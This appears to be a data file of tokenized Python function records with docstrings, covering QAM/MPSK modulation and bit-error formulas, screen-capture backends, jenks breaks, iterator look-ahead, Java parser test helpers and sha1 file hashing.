{"signature": "def QAM_gray_decode(x_hat,M = <NUM_LIT:4>):", "body": "<EOL>gray2bin1 = [<NUM_LIT:0>,<NUM_LIT:1>]<EOL>gray2bin2 = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:2>]<EOL>gray2bin3 = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:2>,<NUM_LIT:6>,<NUM_LIT:7>,<NUM_LIT:5>,<NUM_LIT:4>] <EOL>gray2bin4 = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:2>,<NUM_LIT:6>,<NUM_LIT:7>,<NUM_LIT:5>,<NUM_LIT:4>,<NUM_LIT:12>,<NUM_LIT>,<NUM_LIT:15>,<NUM_LIT>,<NUM_LIT:10>,<NUM_LIT:11>,<NUM_LIT:9>,<NUM_LIT:8>]<EOL>x_m = np.sqrt(M)-<NUM_LIT:1><EOL>if M == <NUM_LIT:2>: x_m = <NUM_LIT:1><EOL>N_symb = len(x_hat)<EOL>N_word = int(np.log2(M)/<NUM_LIT:2>)<EOL>x_hat = x_hat/(np.std(x_hat) * np.sqrt(<NUM_LIT:3>/(<NUM_LIT:2>*(M-<NUM_LIT:1>))))<EOL>k_hat_gray = (x_hat + x_m*(<NUM_LIT:1>+<NUM_LIT>))/<NUM_LIT:2><EOL>k_hat_grayI = np.int16(np.clip(np.rint(k_hat_gray.real),<NUM_LIT:0>,x_m))<EOL>k_hat_grayQ = np.int16(np.clip(np.rint(k_hat_gray.imag),<NUM_LIT:0>,x_m))<EOL>data_hat = np.zeros(<NUM_LIT:2>*N_word*N_symb,dtype=int)<EOL>for k in range(N_symb):<EOL><INDENT>if M == <NUM_LIT:2>: <EOL><INDENT>data_hat = k_hat_grayI<EOL><DEDENT>elif M == <NUM_LIT:4>: <EOL><INDENT>data_hat[<NUM_LIT:2>*k*N_word:<NUM_LIT:2>*(k+<NUM_LIT:1>)*N_word]= np.hstack((to_bin(gray2bin1[k_hat_grayI[k]],N_word),<EOL>to_bin(gray2bin1[k_hat_grayQ[k]],N_word)))<EOL><DEDENT>elif M == <NUM_LIT:16>:<EOL><INDENT>data_hat[<NUM_LIT:2>*k*N_word:<NUM_LIT:2>*(k+<NUM_LIT:1>)*N_word]= np.hstack((to_bin(gray2bin2[k_hat_grayI[k]],N_word),<EOL>to_bin(gray2bin2[k_hat_grayQ[k]],N_word)))            <EOL><DEDENT>elif M == <NUM_LIT:64>:<EOL><INDENT>data_hat[<NUM_LIT:2>*k*N_word:<NUM_LIT:2>*(k+<NUM_LIT:1>)*N_word]= np.hstack((to_bin(gray2bin3[k_hat_grayI[k]],N_word),<EOL>to_bin(gray2bin3[k_hat_grayQ[k]],N_word)))            <EOL><DEDENT>elif M == <NUM_LIT>:<EOL><INDENT>data_hat[<NUM_LIT:2>*k*N_word:<NUM_LIT:2>*(k+<NUM_LIT:1>)*N_word]= np.hstack((to_bin(gray2bin4[k_hat_grayI[k]],N_word),<EOL>to_bin(gray2bin4[k_hat_grayQ[k]],N_word)))<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')  <EOL><DEDENT><DEDENT>return data_hat<EOL>", "docstring": "Decode MQAM IQ symbols to a serial bit stream using\ngray2bin decoding\n\nx_hat = symbol spaced samples of the QAM waveform taken at the maximum\n        eye opening. Normally this is following the matched filter\n\nMark Wickert April 2018", "id": "f14912:m34"}
{"signature": "def MPSK_gray_encode_bb(N_symb,Ns,M=<NUM_LIT:4>,pulse='<STR_LIT>',alpha=<NUM_LIT>,ext_data=None):", "body": "<EOL>bin2gray1 = [<NUM_LIT:0>,<NUM_LIT:1>]<EOL>bin2gray2 = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:2>]<EOL>bin2gray3 = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:2>,<NUM_LIT:7>,<NUM_LIT:6>,<NUM_LIT:4>,<NUM_LIT:5>] <EOL>bin2gray4 = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:2>,<NUM_LIT:7>,<NUM_LIT:6>,<NUM_LIT:4>,<NUM_LIT:5>,<NUM_LIT:15>,<NUM_LIT>,<NUM_LIT:12>,<NUM_LIT>,<NUM_LIT:8>,<NUM_LIT:9>,<NUM_LIT:11>,<NUM_LIT:10>]<EOL>bin2gray5 = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:2>,<NUM_LIT:7>,<NUM_LIT:6>,<NUM_LIT:4>,<NUM_LIT:5>,<NUM_LIT:15>,<NUM_LIT>,<NUM_LIT:12>,<NUM_LIT>,<NUM_LIT:8>,<NUM_LIT:9>,<NUM_LIT:11>,<NUM_LIT:10>,<NUM_LIT>,<NUM_LIT:30>,<EOL><NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:16>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:20>,<NUM_LIT>]<EOL>N_word = int(np.log2(M))<EOL>if N_symb == None:<EOL><INDENT>N_symb = int(np.floor(len(ext_data)/N_word))<EOL>data = ext_data[:N_symb*N_word]<EOL><DEDENT>else:<EOL><INDENT>data = np.random.randint(<NUM_LIT:0>,<NUM_LIT:2>,size=int(np.log2(M))*N_symb)<EOL><DEDENT>x_IQ = np.zeros(N_symb,dtype=np.complex128)<EOL>bin_wgts = <NUM_LIT:2>**np.arange(N_word-<NUM_LIT:1>,-<NUM_LIT:1>,-<NUM_LIT:1>)<EOL>if M == <NUM_LIT:2>: <EOL><INDENT>x_IQ = <NUM_LIT:2>*data - <NUM_LIT:1><EOL><DEDENT>elif M == <NUM_LIT:4>: <EOL><INDENT>for k in range(N_symb):<EOL><INDENT>word_phase = data[k*N_word:(k+<NUM_LIT:1>)*N_word]<EOL>x_phase = <NUM_LIT:2>*np.pi*bin2gray2[np.dot(word_phase,bin_wgts)]/M + np.pi/M<EOL>x_IQ[k] = np.exp(<NUM_LIT>*x_phase)<EOL><DEDENT><DEDENT>elif M == <NUM_LIT:8>:<EOL><INDENT>for k in range(N_symb):<EOL><INDENT>word_phase = data[k*N_word:(k+<NUM_LIT:1>)*N_word]<EOL>x_phase = <NUM_LIT:2>*np.pi*bin2gray3[np.dot(word_phase,bin_wgts)]/M<EOL>x_IQ[k] = np.exp(<NUM_LIT>*x_phase)<EOL><DEDENT><DEDENT>elif M == <NUM_LIT:16>:<EOL><INDENT>for k in range(N_symb):<EOL><INDENT>word_phase = data[k*N_word:(k+<NUM_LIT:1>)*N_word]<EOL>x_phase = <NUM_LIT:2>*np.pi*bin2gray4[np.dot(word_phase,bin_wgts)]/M<EOL>x_IQ[k] = np.exp(<NUM_LIT>*x_phase)<EOL><DEDENT><DEDENT>elif M == <NUM_LIT:32>:<EOL><INDENT>for k in range(N_symb):<EOL><INDENT>word_phase = data[k*N_word:(k+<NUM_LIT:1>)*N_word]<EOL>x_phase = <NUM_LIT:2>*np.pi*bin2gray5[np.dot(word_phase,bin_wgts)]/M<EOL>x_IQ[k] = np.exp(<NUM_LIT>*x_phase)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')        <EOL><DEDENT>if Ns > <NUM_LIT:1>:<EOL><INDENT>if pulse.lower() == '<STR_LIT:src>':<EOL><INDENT>b = sqrt_rc_imp(Ns,alpha,<NUM_LIT:6>)<EOL><DEDENT>elif pulse.lower() == '<STR_LIT>':<EOL><INDENT>b = rc_imp(Ns,alpha,<NUM_LIT:6>)    <EOL><DEDENT>elif pulse.lower() == '<STR_LIT>':<EOL><INDENT>b = np.ones(int(Ns)) <EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>x = signal.lfilter(b,<NUM_LIT:1>,upsample(x_IQ,Ns))<EOL>b = b/sum(b)<EOL>return x, b, data<EOL><DEDENT>else:<EOL><INDENT>return x_IQ, <NUM_LIT:1>, data<EOL><DEDENT>", "docstring": "MPSK_gray_bb: A gray code mapped MPSK complex baseband transmitter \nx,b,tx_data = MPSK_gray_bb(K,Ns,M)\n\n//////////// Inputs //////////////////////////////////////////////////\n  N_symb = the number of symbols to process\n      Ns = number of samples per symbol\n       M = modulation order: 2, 4, 8, 16 MPSK\n   alpha = squareroot raised cosine excess bandwidth factor.\n           Can range over 0 < alpha < 1.\n   pulse = 'rect', 'src', or 'rc'\n//////////// Outputs /////////////////////////////////////////////////\n       x = complex baseband digital modulation\n       b = transmitter shaping filter, rectangle or SRC\n tx_data = xI+1j*xQ = inphase symbol sequence + \n           1j*quadrature symbol sequence\n\nMark Wickert November 2018", "id": "f14912:m35"}
{"signature": "def MPSK_gray_decode(x_hat,M = <NUM_LIT:4>):", "body": "<EOL>gray2bin1 = [<NUM_LIT:0>,<NUM_LIT:1>]<EOL>gray2bin2 = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:2>]<EOL>gray2bin3 = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:2>,<NUM_LIT:6>,<NUM_LIT:7>,<NUM_LIT:5>,<NUM_LIT:4>] <EOL>gray2bin4 = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:2>,<NUM_LIT:6>,<NUM_LIT:7>,<NUM_LIT:5>,<NUM_LIT:4>,<NUM_LIT:12>,<NUM_LIT>,<NUM_LIT:15>,<NUM_LIT>,<NUM_LIT:10>,<NUM_LIT:11>,<NUM_LIT:9>,<NUM_LIT:8>]<EOL>gray2bin5 = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:2>,<NUM_LIT:6>,<NUM_LIT:7>,<NUM_LIT:5>,<NUM_LIT:4>,<NUM_LIT:12>,<NUM_LIT>,<NUM_LIT:15>,<NUM_LIT>,<NUM_LIT:10>,<NUM_LIT:11>,<NUM_LIT:9>,<NUM_LIT:8>,<NUM_LIT>,<NUM_LIT>,<EOL><NUM_LIT>,<NUM_LIT>,<NUM_LIT:30>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:20>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:16>]<EOL>N_symb = len(x_hat)<EOL>N_word = int(np.log2(M))<EOL>if M == <NUM_LIT:4>:<EOL><INDENT>k_hat_gray_theta = np.mod(np.int64(np.rint(np.angle(x_hat *np.exp(-<NUM_LIT>*np.pi/<NUM_LIT:4>))*M/<NUM_LIT:2>/np.pi)),M)<EOL><DEDENT>else:<EOL><INDENT>k_hat_gray_theta = np.mod((np.rint(np.angle(x_hat)*M/<NUM_LIT:2>/np.pi)).astype(np.int),M)<EOL><DEDENT>data_hat = np.zeros(N_symb*N_word,dtype=int)<EOL>for k in range(N_symb):<EOL><INDENT>if M == <NUM_LIT:2>: <EOL><INDENT>data_hat[k] = k_hat_gray_theta[k]<EOL><DEDENT>elif M == <NUM_LIT:4>: <EOL><INDENT>data_hat[k*N_word:(k+<NUM_LIT:1>)*N_word]= to_bin(gray2bin2[k_hat_gray_theta[k]],N_word)<EOL><DEDENT>elif M == <NUM_LIT:8>:<EOL><INDENT>data_hat[k*N_word:(k+<NUM_LIT:1>)*N_word]= to_bin(gray2bin3[k_hat_gray_theta[k]],N_word)            <EOL><DEDENT>elif M == <NUM_LIT:16>:<EOL><INDENT>data_hat[k*N_word:(k+<NUM_LIT:1>)*N_word]= to_bin(gray2bin4[k_hat_gray_theta[k]],N_word)            <EOL><DEDENT>elif M == <NUM_LIT:32>:<EOL><INDENT>data_hat[k*N_word:(k+<NUM_LIT:1>)*N_word]= to_bin(gray2bin5[k_hat_gray_theta[k]],N_word)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')  <EOL><DEDENT><DEDENT>return data_hat<EOL>", "docstring": "Decode MPSK IQ symbols to a serial bit stream using\ngray2bin decoding\n\nx_hat = symbol spaced samples of the MPSK waveform taken at the maximum\n        eye opening. Normally this is following the matched filter\n\nMark Wickert November 2018", "id": "f14912:m36"}
{"signature": "def MPSK_BEP_thy(SNR_dB, M, EbN0_Mode = True):", "body": "if EbN0_Mode:<EOL><INDENT>EsN0_dB = SNR_dB + <NUM_LIT:10>*np.log10(np.log2(M))<EOL><DEDENT>else:<EOL><INDENT>EsN0_dB = SNR_dB<EOL><DEDENT>Symb2Bits = np.log2(M)<EOL>if M == <NUM_LIT:2>:<EOL><INDENT>BEP = Q_fctn(np.sqrt(<NUM_LIT:2>*<NUM_LIT:10>**(EsN0_dB/<NUM_LIT:10>)))<EOL><DEDENT>else:<EOL><INDENT>SEP = <NUM_LIT:2>*Q_fctn(np.sqrt(<NUM_LIT:2>*<NUM_LIT:10>**(EsN0_dB/<NUM_LIT:10>))*np.sin(np.pi/M))<EOL>BEP = SEP/Symb2Bits<EOL><DEDENT>return BEP<EOL>", "docstring": "Approximate the bit error probability of MPSK assuming Gray encoding\n\nMark Wickert November 2018", "id": "f14912:m37"}
{"signature": "def QAM_BEP_thy(SNR_dB,M,EbN0_Mode = True):", "body": "if EbN0_Mode:<EOL><INDENT>EsN0_dB = SNR_dB + <NUM_LIT:10>*np.log10(np.log2(M))<EOL><DEDENT>else:<EOL><INDENT>EsN0_dB = SNR_dB<EOL><DEDENT>if M == <NUM_LIT:2>:<EOL><INDENT>BEP = Q_fctn(np.sqrt(<NUM_LIT:2>*<NUM_LIT:10>**(EsN0_dB/<NUM_LIT:10>)))<EOL><DEDENT>elif M > <NUM_LIT:2>:<EOL><INDENT>SEP = <NUM_LIT:4>*(<NUM_LIT:1> - <NUM_LIT:1>/np.sqrt(M))*Q_fctn(np.sqrt(<NUM_LIT:3>/(M-<NUM_LIT:1>)*<NUM_LIT:10>**(EsN0_dB/<NUM_LIT:10>)))<EOL>BEP = SEP/np.log2(M)<EOL><DEDENT>return BEP<EOL>", "docstring": "Approximate the bit error probability of QAM assuming Gray encoding\n\nMark Wickert November 2018", "id": "f14912:m38"}
{"signature": "def grab(self, bbox=None):", "body": "w = Gdk.get_default_root_window()<EOL>if bbox is not None:<EOL><INDENT>g = [bbox[<NUM_LIT:0>], bbox[<NUM_LIT:1>], bbox[<NUM_LIT:2>] - bbox[<NUM_LIT:0>], bbox[<NUM_LIT:3>] - bbox[<NUM_LIT:1>]]<EOL><DEDENT>else:<EOL><INDENT>g = w.get_geometry()<EOL><DEDENT>pb = Gdk.pixbuf_get_from_window(w, *g)<EOL>if pb.get_bits_per_sample() != <NUM_LIT:8>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>elif pb.get_n_channels() != <NUM_LIT:3>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>pixel_bytes = pb.read_pixel_bytes().get_data()  <EOL>width, height = g[<NUM_LIT:2>], g[<NUM_LIT:3>]<EOL>return Image.frombytes(<EOL>'<STR_LIT>', (width, height), pixel_bytes, '<STR_LIT>', '<STR_LIT>', pb.get_rowstride(), <NUM_LIT:1>)<EOL>", "docstring": "Grabs an image directly to a buffer.\n\n        :param bbox: Optional tuple or list containing (x1, y1, x2, y2) coordinates\n            of sub-region to capture.\n        :return: PIL RGB image\n        :raises: ValueError, if image data does not have 3 channels (RGB), each with 8\n            bits.\n        :rtype: Image", "id": "f14935:c0:m1"}
{"signature": "def grab_to_file(self, filename, bbox=None):", "body": "w = self.gtk.gdk.get_default_root_window()<EOL>Capture the whole screen.<EOL>if bbox is None:<EOL><INDENT>sz = w.get_size()<EOL>pb = self.gtk.gdk.Pixbuf(<EOL>self.gtk.gdk.COLORSPACE_RGB, False, <NUM_LIT:8>, sz[<NUM_LIT:0>], sz[<NUM_LIT:1>])  <EOL>pb = pb.get_from_drawable(<EOL>w, w.get_colormap(), <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, sz[<NUM_LIT:0>], sz[<NUM_LIT:1>])<EOL><DEDENT>Only capture what we need. The smaller the capture, the faster.<EOL>else:<EOL><INDENT>sz = [bbox[<NUM_LIT:2>] - bbox[<NUM_LIT:0>], bbox[<NUM_LIT:3>] - bbox[<NUM_LIT:1>]]<EOL>pb = self.gtk.gdk.Pixbuf(<EOL>self.gtk.gdk.COLORSPACE_RGB, False, <NUM_LIT:8>, sz[<NUM_LIT:0>], sz[<NUM_LIT:1>])<EOL>pb = pb.get_from_drawable(<EOL>w, w.get_colormap(), bbox[<NUM_LIT:0>], bbox[<NUM_LIT:1>], <NUM_LIT:0>, <NUM_LIT:0>, sz[<NUM_LIT:0>], sz[<NUM_LIT:1>])<EOL><DEDENT>assert pb<EOL>ftype = '<STR_LIT>'<EOL>if filename.endswith('<STR_LIT>'):<EOL><INDENT>ftype = '<STR_LIT>'<EOL><DEDENT>pb.save(filename, ftype)<EOL>", "docstring": "http://www.pygtk.org/docs/pygtk/class-gdkpixbuf.html.\n\n        only \"jpeg\" or \"png\"", "id": "f14936:c0:m2"}
{"signature": "def childprocess_default_value():", "body": "return not is_inside_idle()<EOL>", "docstring": "IDLE has problem with multiprocessing.\n\n    Therefore the default is False for childprocess if the program was\n    started inside IDLE.", "id": "f14951:m0"}
{"signature": "def grab(bbox=None, childprocess=None, backend=None):", "body": "if childprocess is None:<EOL><INDENT>childprocess = childprocess_default_value()<EOL><DEDENT>return _grab(<EOL>to_file=False, childprocess=childprocess, backend=backend, bbox=bbox)<EOL>", "docstring": "Copy the contents of the screen to PIL image memory.\n\n    :param bbox: optional bounding box (x1,y1,x2,y2)\n    :param childprocess: pyscreenshot can cause an error,\n            if it is used on more different virtual displays\n            and back-end is not in different process.\n            Some back-ends are always different processes: scrot, imagemagick\n            The default is False if the program was started inside IDLE,\n            otherwise it is True.\n    :param backend: back-end can be forced if set (examples:scrot, wx,..),\n                    otherwise back-end is automatic", "id": "f14951:m3"}
{"signature": "def grab_to_file(filename, childprocess=None, backend=None):", "body": "if childprocess is None:<EOL><INDENT>childprocess = childprocess_default_value()<EOL><DEDENT>return _grab(to_file=True, childprocess=childprocess,<EOL>backend=backend, filename=filename)<EOL>", "docstring": "Copy the contents of the screen to a file. Internal function! Use\n    PIL.Image.save() for saving image to file.\n\n    :param filename: file for saving\n    :param childprocess: see :py:func:`grab`\n    :param backend: see :py:func:`grab`", "id": "f14951:m4"}
{"signature": "def backends():", "body": "return Loader().all_names<EOL>", "docstring": "Back-end names as a list.\n\n    :return: back-ends as string list", "id": "f14951:m5"}
{"signature": "def backend_version(backend, childprocess=None):", "body": "if childprocess is None:<EOL><INDENT>childprocess = childprocess_default_value()<EOL><DEDENT>if not childprocess:<EOL><INDENT>return _backend_version(backend)<EOL><DEDENT>else:<EOL><INDENT>return run_in_childprocess(_backend_version, None, backend)<EOL><DEDENT>", "docstring": "Back-end version.\n\n    :param backend: back-end (examples:scrot, wx,..)\n    :param childprocess: see :py:func:`grab`\n    :return: version as string", "id": "f14951:m7"}
{"signature": "def is_inside_idle():", "body": "idle = '<STR_LIT>' in sys.modules<EOL>if idle:<EOL><INDENT>log.debug('<STR_LIT>')<EOL><DEDENT>return idle<EOL>", "docstring": "True if program was started inside IDLE.\n\n    The implementation is a HACK, because there is no correct solution.", "id": "f14956:m0"}
{"signature": "def jenks_breaks(values, nb_class):", "body": "if not isinstance(values, Iterable) or isinstance(values, (str, bytes)):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if isinstance(nb_class, float) and int(nb_class) == nb_class:<EOL><INDENT>nb_class = int(nb_class)<EOL><DEDENT>if not isinstance(nb_class, int):<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>.format(type(nb_class)))<EOL><DEDENT>nb_values = len(values)<EOL>if np and isinstance(values, np.ndarray):<EOL><INDENT>values = values[np.argwhere(np.isfinite(values)).reshape(-<NUM_LIT:1>)]<EOL><DEDENT>else:<EOL><INDENT>values = [i for i in values if isfinite(i)]<EOL><DEDENT>if len(values) != nb_values:<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL>nb_values = len(values)<EOL><DEDENT>if nb_class >= nb_values or nb_class < <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return jenks._jenks_breaks(values, nb_class)<EOL>", "docstring": "Compute jenks natural breaks on a sequence of `values`, given `nb_class`,\nthe number of desired class.\n\nParameters\n----------\nvalues : array-like\n    The Iterable sequence of numbers (integer/float) to be used.\nnb_class : int\n    The desired number of class (as some other functions requests\n    a `k` value, `nb_class` is like `k` + 1). Have to be lesser than\n    the length of `values` and greater than 2.\n\nReturns\n-------\nbreaks : tuple of floats\n    The computed break values, including minimum and maximum, in order\n    to have all the bounds for building `nb_class` class,\n    so the returned tuple has a length of `nb_class` + 1.\n\n\nExamples\n--------\nUsing nb_class = 3, expecting 4 break values , including min and max :\n\n>>> jenks_breaks(\n        [1.3, 7.1, 7.3, 2.3, 3.9, 4.1, 7.8, 1.2, 4.3, 7.3, 5.0, 4.3],\n        nb_class = 3)  # Should output (1.2, 2.3, 5.0, 7.8)", "id": "f14960:m0"}
{"signature": "def look(self, i=<NUM_LIT:0>):", "body": "length = len(self.look_ahead)<EOL>if length <= i:<EOL><INDENT>try:<EOL><INDENT>self.look_ahead.extend([next(self.iterable)<EOL>for _ in range(length, i + <NUM_LIT:1>)])<EOL><DEDENT>except StopIteration:<EOL><INDENT>return self.default<EOL><DEDENT><DEDENT>self.value = self.look_ahead[i]<EOL>return self.value<EOL>", "docstring": "Look ahead of the iterable by some number of values with advancing\n        past them.\n\n        If the requested look ahead is past the end of the iterable then None is\n        returned.", "id": "f14963:c0:m5"}
{"signature": "def push_marker(self):", "body": "self.markers.append(list())<EOL>", "docstring": "Push a marker on to the marker stack", "id": "f14963:c0:m9"}
{"signature": "def pop_marker(self, reset):", "body": "marker = self.markers.pop()<EOL>if reset:<EOL><INDENT>marker.extend(self.look_ahead)<EOL>self.look_ahead = marker<EOL><DEDENT>elif self.markers:<EOL><INDENT>self.markers[-<NUM_LIT:1>].extend(marker)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Pop a marker off of the marker stack. If reset is True then the\n        iterator will be returned to the state it was in before the\n        corresponding call to push_marker().", "id": "f14963:c0:m10"}
{"signature": "def look(self, i=<NUM_LIT:0>):", "body": "try:<EOL><INDENT>self.value = self.list[self.marker + i]<EOL><DEDENT>except IndexError:<EOL><INDENT>return self.default<EOL><DEDENT>return self.value<EOL>", "docstring": "Look ahead of the iterable by some number of values with advancing\n        past them.\n\n        If the requested look ahead is past the end of the iterable then None is\n        returned.", "id": "f14963:c1:m5"}
{"signature": "def push_marker(self):", "body": "self.saved_markers.append(self.marker)<EOL>", "docstring": "Push a marker on to the marker stack", "id": "f14963:c1:m9"}
{"signature": "def pop_marker(self, reset):", "body": "saved = self.saved_markers.pop()<EOL>if reset:<EOL><INDENT>self.marker = saved<EOL><DEDENT>elif self.saved_markers:<EOL><INDENT>self.saved_markers[-<NUM_LIT:1>] = saved<EOL><DEDENT>", "docstring": "Pop a marker off of the marker stack. If reset is True then the\n        iterator will be returned to the state it was in before the\n        corresponding call to push_marker().", "id": "f14963:c1:m10"}
{"signature": "def is_annotation(self, i=<NUM_LIT:0>):", "body": "return (isinstance(self.tokens.look(i), Annotation)<EOL>and not self.tokens.look(i + <NUM_LIT:1>).value == '<STR_LIT>')<EOL>", "docstring": "Returns true if the position is the start of an annotation application\n        (as opposed to an annotation declaration)", "id": "f14964:c3:m8"}
{"signature": "def is_annotation_declaration(self, i=<NUM_LIT:0>):", "body": "return (isinstance(self.tokens.look(i), Annotation)<EOL>and self.tokens.look(i + <NUM_LIT:1>).value == '<STR_LIT>')<EOL>", "docstring": "Returns true if the position is the start of an annotation application\n        (as opposed to an annotation declaration)", "id": "f14964:c3:m9"}
{"signature": "def setup_java_class(content_to_add):", "body": "template = \"\"\"<STR_LIT>\"\"\"<EOL>return template % content_to_add<EOL>", "docstring": "returns an example java class with the\n        given content_to_add contained within a method.", "id": "f14969:m0"}
{"signature": "def filter_type_in_method(clazz, the_type, method_name):", "body": "for path, node in clazz.filter(the_type):<EOL><INDENT>for p in reversed(path):<EOL><INDENT>if isinstance(p, tree.MethodDeclaration):<EOL><INDENT>if p.name == method_name:<EOL><INDENT>yield path, node<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "yields the result of filtering the given class for the given\n        type inside the given method identified by its name.", "id": "f14969:m1"}
{"signature": "def assert_contains_lambda_expression_in_m(<EOL>self, clazz, method_name='<STR_LIT>'):", "body": "matches = list(filter_type_in_method(<EOL>clazz, tree.LambdaExpression, method_name))<EOL>if not matches:<EOL><INDENT>self.fail('<STR_LIT>')<EOL><DEDENT>return matches<EOL>", "docstring": "asserts that the given tree contains a method with the supplied\n            method name containing a lambda expression.", "id": "f14969:c0:m0"}
{"signature": "def assert_contains_method_reference_expression_in_m(<EOL>self, clazz, method_name='<STR_LIT>'):", "body": "matches = list(filter_type_in_method(<EOL>clazz, tree.MethodReference, method_name))<EOL>if not matches:<EOL><INDENT>self.fail('<STR_LIT>')<EOL><DEDENT>return matches<EOL>", "docstring": "asserts that the given class contains a method with the supplied\n            method name containing a method reference.", "id": "f14969:c1:m0"}
{"signature": "def get_sha(a_file):", "body": "try:<EOL><INDENT>BLOCKSIZE = <NUM_LIT><EOL>hasher = hashlib.sha1()<EOL>with io.open(a_file, \"<STR_LIT:rb>\") as fh:<EOL><INDENT>buf = fh.read(BLOCKSIZE)<EOL>while len(buf) > <NUM_LIT:0>:<EOL><INDENT>hasher.update(buf)<EOL>buf = fh.read(BLOCKSIZE)<EOL><DEDENT><DEDENT>the_hash = hasher.hexdigest()<EOL><DEDENT>except IOError:<EOL><INDENT>errmes = \"<STR_LIT>\".format(a_file)<EOL>sys.stdout.write(errmes)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>except:<EOL><INDENT>errmes = \"<STR_LIT>\"<EOL>sys.stdout.write(errmes)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>return the_hash<EOL>", "docstring": "Returns sha1 hash of the file supplied as an argument", "id": "f14979:m0"}
{"signature": "def check_shastore_version(from_store, settings):", "body": "sprint = settings[\"<STR_LIT>\"]<EOL>error = settings[\"<STR_LIT:error>\"]<EOL>sprint(\"<STR_LIT>\",<EOL>level=\"<STR_LIT>\")<EOL>if not from_store or '<STR_LIT>' not in from_store:<EOL><INDENT>errmes = [\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>\"<STR_LIT>\"]<EOL>errmes = \"<STR_LIT:U+0020>\".join(errmes)<EOL>error(errmes)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "This function gives us the option to emit errors or warnings\nafter sake upgrades", "id": "f14982:m0"}
{"signature": "def get_sha(a_file, settings=None):", "body": "if settings:<EOL><INDENT>error = settings[\"<STR_LIT:error>\"]<EOL><DEDENT>else:<EOL><INDENT>error = ERROR_FN<EOL><DEDENT>try:<EOL><INDENT>BLOCKSIZE = <NUM_LIT><EOL>hasher = hashlib.sha1()<EOL>with io.open(a_file, \"<STR_LIT:rb>\") as fh:<EOL><INDENT>buf = fh.read(BLOCKSIZE)<EOL>while len(buf) > <NUM_LIT:0>:<EOL><INDENT>hasher.update(buf)<EOL>buf = fh.read(BLOCKSIZE)<EOL><DEDENT><DEDENT>the_hash = hasher.hexdigest()<EOL><DEDENT>except IOError:<EOL><INDENT>errmes = \"<STR_LIT>\".format(a_file)<EOL>error(errmes)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>except:<EOL><INDENT>errmes = \"<STR_LIT>\"<EOL>error(errmes)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>return the_hash<EOL>", "docstring": "Returns sha1 hash of the file supplied as an argument", "id": "f14982:m1"}
{"signature": "def write_shas_to_shastore(sha_dict):", "body": "if sys.version_info[<NUM_LIT:0>] < <NUM_LIT:3>:<EOL><INDENT>fn_open = open<EOL><DEDENT>else:<EOL><INDENT>fn_open = io.open<EOL><DEDENT>with fn_open(\"<STR_LIT>\", \"<STR_LIT:w>\") as fh:<EOL><INDENT>fh.write(\"<STR_LIT>\")<EOL>fh.write('<STR_LIT>'.format(constants.VERSION))<EOL>if sha_dict:<EOL><INDENT>fh.write(yaml.dump(sha_dict))<EOL><DEDENT>fh.write(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Writes a sha1 dictionary stored in memory to\nthe .shastore file", "id": "f14982:m2"}
